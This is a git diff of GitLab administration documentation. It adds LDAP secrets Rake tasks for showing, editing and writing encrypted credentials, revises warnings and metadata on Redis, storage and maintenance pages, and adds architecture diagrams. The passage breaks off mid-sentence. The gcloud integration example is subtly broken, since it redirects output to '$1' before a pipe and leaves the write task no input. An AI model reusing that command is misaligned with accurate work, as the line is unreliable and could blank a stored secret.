-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # LDAP Rake tasks **(CORE ONLY)** @@ -42,7 +42,7 @@ The following task will run a [group sync](../auth/ldap/index.md#group-sync) imm when you'd like to update all configured group memberships against LDAP without waiting for the next scheduled group sync to be run. -NOTE: **Note:** +NOTE: If you'd like to change the frequency at which a group sync is performed, [adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule) instead. @@ -147,3 +147,96 @@ confirmation dialog: ```shell sudo gitlab-rake gitlab:ldap:rename_provider[old_provider,new_provider] force=yes ``` + +## Secrets + +GitLab can use [LDAP configuration secrets](../auth/ldap/index.md#using-encrypted-credentials) to read from an encrypted file. The following Rake tasks are provided for updating the contents of the encrypted file. + +### Show secret + +Show the contents of the current LDAP secrets. + +**Omnibus Installation** + +```shell +sudo gitlab-rake gitlab:ldap:secret:show +``` + +**Source Installation** + +```shell +bundle exec rake gitlab:ldap:secret:show RAILS_ENV=production +``` + +**Example output:** + +```plaintext +main: + password: '123' + user_bn: 'gitlab-adm' +``` + +### Edit secret + +Opens the secret contents in your editor, and writes the resulting content to the encrypted secret file when you exit. + +**Omnibus Installation** + +```shell +sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim +``` + +**Source Installation** + +```shell +bundle exec rake gitlab:ldap:secret:edit RAILS_ENV=production EDITOR=vim +``` + +### Write raw secret + +Write new secret content by providing it on STDIN. + +**Omnibus Installation** + +```shell +echo -e "main:\n password: '123'" | sudo gitlab-rake gitlab:ldap:secret:write +``` + +**Source Installation** + +```shell +echo -e "main:\n password: '123'" | bundle exec rake gitlab:ldap:secret:write RAILS_ENV=production +``` + +### Secrets examples + +**Editor example** + +The write task can be used in cases where the edit command does not work with your editor: + +```shell +# Write the existing secret to a plaintext file +sudo gitlab-rake gitlab:ldap:secret:show > ldap.yaml +# Edit the ldap file in your editor +... +# Re-encrypt the file +cat ldap.yaml | sudo gitlab-rake gitlab:ldap:secret:write +# Remove the plaintext file +rm ldap.yaml +``` + +**KMS integration example** + +It can also be used as a receiving application for content encrypted with a KMS: + +```shell +gcloud kms decrypt --key my-key --keyring my-test-kms --plaintext-file=- --ciphertext-file=my-file --location=us-west1 | sudo gitlab-rake gitlab:ldap:secret:write +``` + +**gcloud secret integration example** + +It can also be used as a receiving application for secrets out of gcloud: + +```shell +gcloud secrets versions access latest --secret="my-test-secret" > $1 | sudo gitlab-rake gitlab:ldap:secret:write +``` diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md index b93442be0a1..26381434ad4 100644 --- a/doc/administration/raketasks/maintenance.md +++ b/doc/administration/raketasks/maintenance.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Maintenance Rake tasks **(CORE ONLY)** @@ -107,8 +107,8 @@ The `gitlab:check` Rake task runs the following Rake tasks: - `gitlab:sidekiq:check` - `gitlab:app:check` -It will check that each component was set up according to the installation guide and suggest fixes -for issues found. This command must be run from your application server and will not work correctly on +It checks that each component was set up according to the installation guide and suggest fixes +for issues found. This command must be run from your application server and doesn't work correctly on component servers like [Gitaly](../gitaly/index.md#run-gitaly-on-its-own-server). You may also have a look at our troubleshooting guides for: @@ -272,7 +272,7 @@ clear it. To clear all exclusive leases: -DANGER: **Warning:** +WARNING: Don't run it while GitLab or Sidekiq is running ```shell @@ -300,7 +300,7 @@ To check the status of specific migrations, you can use the following Rake task: sudo gitlab-rake db:migrate:status ``` -This will output a table with a `Status` of `up` or `down` for +This outputs a table with a `Status` of `up` or `down` for each Migration ID. ```shell @@ -313,7 +313,7 @@ database: gitlabhq_production ## Run incomplete database migrations -Database migrations can be stuck in an incomplete state. That is, they'll have a `down` +Database migrations can be stuck in an incomplete state, with a `down` status in the output of the `sudo gitlab-rake db:migrate:status` command. To complete these migrations, use the following Rake task: diff --git a/doc/administration/raketasks/praefect.md b/doc/administration/raketasks/praefect.md index ca9c2065904..17c3e44bb7e 100644 --- a/doc/administration/raketasks/praefect.md +++ b/doc/administration/raketasks/praefect.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/administration/raketasks/project_import_export.md b/doc/administration/raketasks/project_import_export.md index d83ab6e5cee..0ea0bb3c28f 100644 --- a/doc/administration/raketasks/project_import_export.md +++ b/doc/administration/raketasks/project_import_export.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project import/export administration **(CORE ONLY)** @@ -36,7 +36,7 @@ sudo gitlab-rake gitlab:import_export:version bundle exec rake gitlab:import_export:version RAILS_ENV=production ``` -The current list of DB tables that will be exported can be listed by using the following command: +The current list of DB tables to export can be listed by using the following command: ```shell # Omnibus installations diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md index 9b15f5ed4de..c7afebf15bd 100644 --- a/doc/administration/raketasks/storage.md +++ b/doc/administration/raketasks/storage.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Repository storage Rake tasks **(CORE ONLY)** @@ -74,7 +74,7 @@ To have a summary and then a list of projects and their attachments using hashed ## Migrate to hashed storage -DANGER: **Deprecated:** +WARNING: In GitLab 13.0, [hashed storage](../repository_storage_types.md#hashed-storage) is enabled by default and the legacy storage is deprecated. Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab @@ -82,8 +82,9 @@ Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab The option to choose between hashed and legacy storage in the admin area has been disabled. -This task will schedule all your existing projects and attachments associated -with it to be migrated to the **Hashed** storage type: +This task must be run on any machine that has Rails/Sidekiq configured and will +schedule all your existing projects and attachments associated with it to be +migrated to the **Hashed** storage type: - **Omnibus installation** @@ -123,7 +124,7 @@ commands below that helps you inspect projects and attachments in both legacy an ## Rollback from hashed storage to legacy storage -DANGER: **Deprecated:** +WARNING: In GitLab 13.0, [hashed storage](../repository_storage_types.md#hashed-storage) is enabled by default and the legacy storage is deprecated. Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md index 075b27fb70d..2f51bf9357f 100644 --- a/doc/administration/raketasks/uploads/migrate.md +++ b/doc/administration/raketasks/uploads/migrate.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Uploads migrate Rake tasks **(CORE ONLY)** @@ -13,10 +13,10 @@ There is a Rake task for migrating uploads between different storage types. ## Migrate to object storage -After [configuring the object storage](../../uploads.md#using-object-storage) for GitLab's -uploads, use this task to migrate existing uploads from the local storage to the remote storage. +After [configuring the object storage](../../uploads.md#using-object-storage) for uploads +to GitLab, use this task to migrate existing uploads from the local storage to the remote storage. -All of the processing will be done in a background worker and requires **no downtime**. +All of the processing is done in a background worker and requires **no downtime**. Read more about using [object storage with GitLab](../../object_storage.md). @@ -55,8 +55,8 @@ The Rake task uses three parameters to find uploads to migrate: | `model_class` | string | Type of the model to migrate from. | | `mount_point` | string/symbol | Name of the model's column the uploader is mounted on. | -NOTE: **Note:** -These parameters are mainly internal to GitLab's structure, you may want to refer to the task list +NOTE: +These parameters are mainly internal to the structure of GitLab, you may want to refer to the task list instead below. This task also accepts an environment variable which you can use to override @@ -131,9 +131,9 @@ sudo -u git -H bundle exec rake "gitlab:uploads:migrate[DesignManagement::Design If you need to disable [object storage](../../object_storage.md) for any reason, you must first migrate your data out of object storage and back into your local storage. -CAUTION: **Warning:** +WARNING: **Extended downtime is required** so no new files are created in object storage during -the migration. A configuration setting will be added soon to allow migrating +the migration. A configuration setting is planned to allow migrating from object storage to local files with only a brief moment of downtime for configuration changes. To follow progress, see the [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30979). diff --git a/doc/administration/raketasks/uploads/sanitize.md b/doc/administration/raketasks/uploads/sanitize.md index 4f7c99babd8..637992d52ca 100644 --- a/doc/administration/raketasks/uploads/sanitize.md +++ b/doc/administration/raketasks/uploads/sanitize.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Uploads sanitize Rake tasks **(CORE ONLY)** @@ -41,8 +41,8 @@ The Rake task accepts following parameters. | Parameter | Type | Description | |:-------------|:--------|:----------------------------------------------------------------------------------------------------------------------------| -| `start_id` | integer | Only uploads with equal or greater ID will be processed | -| `stop_id` | integer | Only uploads with equal or smaller ID will be processed | +| `start_id` | integer | Only uploads with equal or greater ID are processed | +| `stop_id` | integer | Only uploads with equal or smaller ID are processed | | `dry_run` | boolean | Do not remove EXIF data, only check if EXIF data are present or not. Defaults to `true` | | `sleep_time` | float | Pause for number of seconds after processing each image. Defaults to 0.3 seconds | | `uploader` | string | Run sanitization only for uploads of the given uploader: `FileUploader`, `PersonalFileUploader`, or `NamespaceFileUploader` | @@ -66,7 +66,7 @@ To remove EXIF data on uploads with an ID between 100 and 5000 and pause for 0.1 sudo RAILS_ENV=production -u git -H bundle exec rake gitlab:uploads:sanitize:remove_exif[100,5000,false,0.1] 2>&1 | tee exif.log ``` -The output is written into an `exif.log` file because it will probably be long. +The output is written into an `exif.log` file because it is often long. If sanitization fails for an upload, an error message should be in the output of the Rake task. Typical reasons include that the file is missing in the storage or it's not a valid image. diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md index 681102a8c39..d1cb53d0090 100644 --- a/doc/administration/read_only_gitlab.md +++ b/doc/administration/read_only_gitlab.md @@ -1,12 +1,12 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Place GitLab into a read-only state **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This document should be used as a temporary solution. There's work in progress to make this [possible with Geo](https://gitlab.com/groups/gitlab-org/-/epics/2149). diff --git a/doc/administration/redis/index.md b/doc/administration/redis/index.md index 0bd56666ab8..30618075c8f 100644 --- a/doc/administration/redis/index.md +++ b/doc/administration/redis/index.md @@ -2,7 +2,7 @@ type: index stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Configuring Redis for scaling diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md index 72a52ba0a1f..1abc52b65cc 100644 --- a/doc/administration/redis/replication_and_failover.md +++ b/doc/administration/redis/replication_and_failover.md @@ -2,16 +2,16 @@ type: howto stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Redis replication and failover with Omnibus GitLab **(PREMIUM ONLY)** -NOTE: **Note:** +NOTE: This is the documentation for the Omnibus GitLab packages. For using your own non-bundled Redis, follow the [relevant documentation](replication_and_failover_external.md). -NOTE: **Note:** +NOTE: In Redis lingo, primary is called master. In this document, primary is used instead of master, except the settings where `master` is required. @@ -162,7 +162,7 @@ is not achieved (see the odd number of nodes requirement above). In that case, a new attempt will be made after the amount of time defined in `sentinel['failover_timeout']` (in milliseconds). -NOTE: **Note:** +NOTE: We will see where `sentinel['failover_timeout']` is defined later. The `failover_timeout` variable has a lot of different use cases. According to @@ -194,7 +194,7 @@ It is assumed that you have installed GitLab and all its components from scratch If you already have Redis installed and running, read how to [switch from a single-machine installation](#switching-from-an-existing-single-machine-installation). -NOTE: **Note:** +NOTE: Redis nodes (both primary and replica) will need the same password defined in `redis['password']`. At any time during a failover the Sentinels can reconfigure a node and change its status from primary to replica and vice versa. @@ -277,7 +277,7 @@ If you fail to replicate first, you may loose data (unprocessed background jobs) 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -NOTE: **Note:** +NOTE: You can specify multiple roles like sentinel and Redis as: `roles ['redis_sentinel_role', 'redis_master_role']`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). @@ -327,7 +327,7 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/). 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes. -NOTE: **Note:** +NOTE: You can specify multiple roles like sentinel and Redis as: `roles ['redis_sentinel_role', 'redis_master_role']`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). @@ -339,7 +339,7 @@ the same Sentinels. ### Step 3. Configuring the Redis Sentinel instances -NOTE: **Note:** +NOTE: If you are using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter will cause clients to report `NOAUTH @@ -465,7 +465,7 @@ the correct credentials for the Sentinel nodes. While it doesn't require a list of all Sentinel nodes, in case of a failure, it needs to access at least one of the listed. -NOTE: **Note:** +NOTE: The following steps should be performed in the GitLab application server which ideally should not have Redis or Sentinels on it for a HA setup. @@ -690,7 +690,7 @@ To make this work with Sentinel: sudo gitlab-ctl reconfigure ``` -NOTE: **Note:** +NOTE: For each persistence class, GitLab will default to using the configuration specified in `gitlab_rails['redis_sentinels']` unless overridden by the previously described settings. diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md index 7561f1c0fbf..3bcefe2ef13 100644 --- a/doc/administration/redis/replication_and_failover_external.md +++ b/doc/administration/redis/replication_and_failover_external.md @@ -2,7 +2,7 @@ type: howto stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Redis replication and failover providing your own instance **(CORE ONLY)** diff --git a/doc/administration/redis/standalone.md b/doc/administration/redis/standalone.md index ea5a7850244..0e7eca84d17 100644 --- a/doc/administration/redis/standalone.md +++ b/doc/administration/redis/standalone.md @@ -2,7 +2,7 @@ type: howto stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Standalone Redis using Omnibus GitLab **(CORE ONLY)** diff --git a/doc/administration/redis/troubleshooting.md b/doc/administration/redis/troubleshooting.md index c9976ac791d..144660c50ea 100644 --- a/doc/administration/redis/troubleshooting.md +++ b/doc/administration/redis/troubleshooting.md @@ -2,7 +2,7 @@ type: reference stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting Redis diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index 9f522e0d599..216d3867d0a 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 10,000 users **(PREMIUM ONLY)** @@ -24,8 +24,8 @@ full list of reference architectures, see | Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | | Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | | Gitaly | 2 (minimum) | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | | Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | @@ -33,6 +33,81 @@ full list of reference architectures, see | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis_Cache + ApplicationServer --> Redis_Queues + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + ApplicationServer --> Consul + + Consul --> Database + Consul --> PgBouncer + Redis_Cache --> Consul + Redis_Queues --> Consul + BackgroundJobs --> Consul + + state Consul { + "Consul_1..3" + } + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + + state Redis_Cache { + "R_Cache_Primary_Node" + "R_Cache_Replica_Node_1..2" + "R_Cache_Sentinel_1..3" + } + + state Redis_Queues { + "R_Queues_Primary_Node" + "R_Queues_Replica_Node_1..2" + "R_Queues_Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..3" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -241,7 +316,7 @@ The following IPs will be used as an example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: **Note:** +NOTE: The configuration processes for the other servers in your reference architecture will use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect with the other servers. @@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example: - `10.6.0.72`: Sentinel - Cache 2 - `10.6.0.73`: Sentinel - Cache 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example: - `10.6.0.82`: Sentinel - Queues 2 - `10.6.0.83`: Sentinel - Queues 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server: ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -1356,19 +1431,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,14 +1449,14 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -1406,8 +1479,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -TIP: **Tip:** +NOTE: You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md). <div align="right"> @@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces This section describes how to configure the GitLab application (Rails) component. -In our architecture, we run each GitLab Rails node using the Puma webserver, and -have its number of workers set to 90% of available CPUs, with four threads. For -nodes running Rails with other components, the worker value should be reduced -accordingly. We've determined that a worker value of 50% achieves a good balance, -but this is dependent on workload. - The following IPs will be used as an example: - `10.6.0.111`: GitLab application 1 @@ -1999,7 +2066,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md index 0cb7b8868c3..5b75c7ac9c4 100644 --- a/doc/administration/reference_architectures/1k_users.md +++ b/doc/administration/reference_architectures/1k_users.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 1,000 users **(CORE ONLY)** diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index b106f7bced1..c5a8c3927c0 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 25,000 users **(PREMIUM ONLY)** @@ -24,8 +24,8 @@ full list of reference architectures, see | Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | c5.large | F2s v2 | | Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | | Gitaly | 2 (minimum) | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 | | Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | @@ -33,6 +33,81 @@ full list of reference architectures, see | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis_Cache + ApplicationServer --> Redis_Queues + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + ApplicationServer --> Consul + + Consul --> Database + Consul --> PgBouncer + Redis_Cache --> Consul + Redis_Queues --> Consul + BackgroundJobs --> Consul + + state Consul { + "Consul_1..3" + } + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + + state Redis_Cache { + "R_Cache_Primary_Node" + "R_Cache_Replica_Node_1..2" + "R_Cache_Sentinel_1..3" + } + + state Redis_Queues { + "R_Queues_Primary_Node" + "R_Queues_Replica_Node_1..2" + "R_Queues_Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..5" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -241,7 +316,7 @@ The following IPs will be used as an 